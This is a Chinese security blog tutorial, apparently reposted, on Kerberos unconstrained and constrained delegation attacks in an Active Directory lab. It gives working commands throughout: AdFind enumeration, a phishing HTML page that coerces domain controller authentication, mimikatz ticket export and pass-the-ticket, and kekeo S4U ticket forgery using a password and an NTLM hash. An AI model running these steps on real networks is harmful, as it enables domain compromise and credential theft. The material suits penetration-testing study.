内网横向移动—非约束委派&约束委派

admin 2023年8月2日09:48:22评论16 views字数 4172阅读13分54秒阅读模式

0.前言

由于都是发自己的文章,所以也不会有那么多的内容发布,一周可能也就更新个两篇,如果工作忙,可能一周就一篇,但是文章都会很细致,暂时只更新学习笔记,至于挖洞思路,小菜鸟还不配。

0.1.免责声明

传播、利用本公众号剁椒鱼头没剁椒所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号剁椒鱼头没剁椒及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

0.2.其它

部分文章由于之前授权给其它公众号发布,所以有些并未加入相关的系列中,还请到历史文章中查看,尤其是提取方面的文章。

由于不少朋友和我说使用CSDN看文章不方便,有时候设置粉丝阅读后还需要登陆账户,所以这里我准备了一个公众号,会陆续将文章同步过来,期间可能也会发一些其它内容。

文章内容太多不适合使用手机观看,手机只适合用来点赞😀

内容同步于CSDN:剁椒鱼头没剁椒

内容同步于Github:https://github.com/djytmdj/Network-security-study-notes

1. 委派攻击介绍

在Windows 2000 Server首次发布Active  Directory时,Microsoft必须提供一种简单的机制来支持用户通过kerberos向web  server进行身份验证并需要代表该用户更新后端数据库服务器上的记录的方案。这通常称为"kerberos双跳问题",并且要求进行委派,以便web server在修改数据库记录时模拟用户。

1.1. 约束委派分类

非约束委派

约束委派

基于资源的约束委派

2. 非约束委派

非约束委派主要是通过域控访问具有非约束委派权限的域内主机上服务,会把当前的认证用户的TGT存放在ST票据中,一起发送给域内主机,域内主机会将TGT存储在lsass进程中以备下次使用。从而域内主机就能够使用这个TGT模拟认证域内主机访问服务。

2.1. 配置非约束委派

这里想将靶机配置上非约束委派

2.1.1. 域内主机配置

找到加入的主机名称,右击属性,找到委派,设置成信任计算机来委派任何服务。

内网横向移动—非约束委派&约束委派
image-20230801145055150

2.1.2. 注册对象

需要先输入这个命令,才能够在用户属性中找到委派。

setspn -U -A priv/test webadmin
内网横向移动—非约束委派&约束委派
image-20230801145658916

2.1.3. 域内用户配置

找到webadmin添加相应的委派,和上面主机是一样的。

内网横向移动—非约束委派&约束委派
image-20230801145759396

2.2. 案例测试

这里还是依旧上线域内主机,然后进行下面的操作,这里我就不展示如何上线了,同时还需要对其进行提权,这里我直接administrator上线。

AdFind下载[1]

2.2.1. 查询服务账户

查询域内设置了非约束委派的账户。

AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
内网横向移动—非约束委派&约束委派
image-20230801155644091

2.2.2. 查询机器账户

查询域内设置了非约束委派的机器账户。

AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
内网横向移动—非约束委派&约束委派
image-20230801160145005

2.2.3. 机器通讯

使用域控与委派机器通讯,为的就是让域控将直接的请求信息发送给域内主机,域内主机则会将请求的票据保存到内存中,当然这里可能会出现一个问题就是,域控平常很少主动去连接域内主机,同时就算连接,为什么需要使用查询操作。

其实这里还可以采用钓鱼的方式进行通讯,简单来说就是在域内主机上找到一台开启web服务的主机,并且控制它,挂一个黑连上去,引诱去点击,不过说真的,正常去访问网页,谁去使用域控服务器去访问网页,除非无意间。

net use \WIN-U7VV2NU5E5Q



网页钓鱼:
<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
  <img src="file:///\192.168.3.102">
</body>
</html>
内网横向移动—非约束委派&约束委派
image-20230801160725802

2.2.4. 导出票据

这里域控刚刚请求的票据从内存中导出来。

mimikatz sekurlsa::tickets /export
内网横向移动—非约束委派&约束委派
image-20230801160959106
内网横向移动—非约束委派&约束委派
image-20230801161120165

2.2.5. 导入票据

然后在将票据导出,其实就是伪造票据。

mimikatz kerberos::ptt [0;bbd89][email protected]
内网横向移动—非约束委派&约束委派
image-20230801161226037

2.2.6. 连接域控

对结果进行测试,刚刚我是导入administrator,但是我切换webadmin后无法访问,然后我又将票据重新导入一下,发现是能够访问的,那么简单来说,此时就是将票据进行伪造进行访问,默认情况下票据是10小时。

shell dir \OWA2010SP3c$
内网横向移动—非约束委派&约束委派
image-20230801162019341

3. 约束委派

非约束委派存在不安全性,所以微软在Windows server 2003中引入了约束委派,约束委派攻击主要利用被控主机设置了域控的CIFS服务的约束委派,则攻击者可以先使用S4u2seflt申请域管用户访问被控主机的ST1,然后使用S4u2Proxy以administrator身份访问域控的CIFS服务,即相当于控制了域控。

3.1. 配置约束委派

同样这里需要在域控上设置相应的配置,以达到实验的目的。

3.1.1. 域内主机配置

找到加入的主机名称,右击属性,找到委派,设置成仅信任计算机来委派制定的服务,找到域控主机名,并选择服务类型为cifs添加。

内网横向移动—非约束委派&约束委派
image-20230801174012965

3.1.2. 域内主机配置

用户也是设置一样的配置。

内网横向移动—非约束委派&约束委派
image-20230801174049134

3.2. 案例测试

这里我又换了一台虚拟机,之前使用Windows server 2012,是由于AF那个鬼工具报错....使用2012就没报错了,这里同样上线域内主机。

3.2.1. 查询服务账户

查询域内设置了约束委派的账户。

shell AdFind -b "DC=0day,DC=org" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
内网横向移动—非约束委派&约束委派
image-20230801174141695

3.2.2. 查询机器账户

查询域内设置了约束委派的机器账户。

shell AdFind -b "DC=0day,DC=org" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
内网横向移动—非约束委派&约束委派
image-20230801174157163

3.2.3. 获取用户的票据

使用kekeo去请求TGT,这里可以采用明文或者hash值去请求,都可以,这里还是需要注意,我再做这一步的时候kekeo老是出现问题,主要还是对语法或者输入的内容比较严格。

明文:
shell kekeo "tgt::ask /user:webadmin /domain:0day.org /password:admin@123" "exit"   

hash值:
shell kekeo "tgt::ask /user:webadmin /domain:0day.org /NTLM:579da618cfbfa85247acf1f800a280a4" "exit"
内网横向移动—非约束委派&约束委派
image-20230801174331781

3.2.4. 获取域控票据

通过这刚刚生成的TGT伪造s4u请求以Administrator用户身份去访问域控的的CIFS的ST,S4U2Self 获取到的 ST1 以及 S4U2Proxy 获取到的 AD-2008 CIFS 服务的 ST2 会保存在当前⽬录下。

所以在当前目录下会出现两个新的票据。

shell kekeo.exe "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/OWA2010SP3.0day.org" "exit"

第一个斜杠后面的是你刚刚生成的TGT伪造的票据名称。
第二个斜杠后面的是以administrator身份去访问,注意要在后面添加上域名哦。
第三个斜杠后面的是设置的CIFS的域控主机名与域名
内网横向移动—非约束委派&约束委派
image-20230801174836347

3.2.5. 导入票据

使用mimikatz注入此票据,你可以看那个名称最长就是那个票据,再次之前你可以测试一下,正常情况下是无法访问的,当然你如果使用高权限的话,可能会成功,是由于内存中存在其它票据,而为了实验的严谨,可以使用低权限的账户shell,来导入,在导入前可以进行测试,最好是直接清除票据后,再进行导入。

mimikatz kerberos::ptt [email protected]@[email protected]

shell dir \OWA2010SP3c$
内网横向移动—非约束委派&约束委派
image-20230801175117459

参考资料

[1]

AdFind下载: https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtml

原文始发于微信公众号(剁椒鱼头没剁椒):内网横向移动—非约束委派&约束委派

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月2日09:48:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网横向移动—非约束委派&约束委派https://cn-sec.com/archives/1927130.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息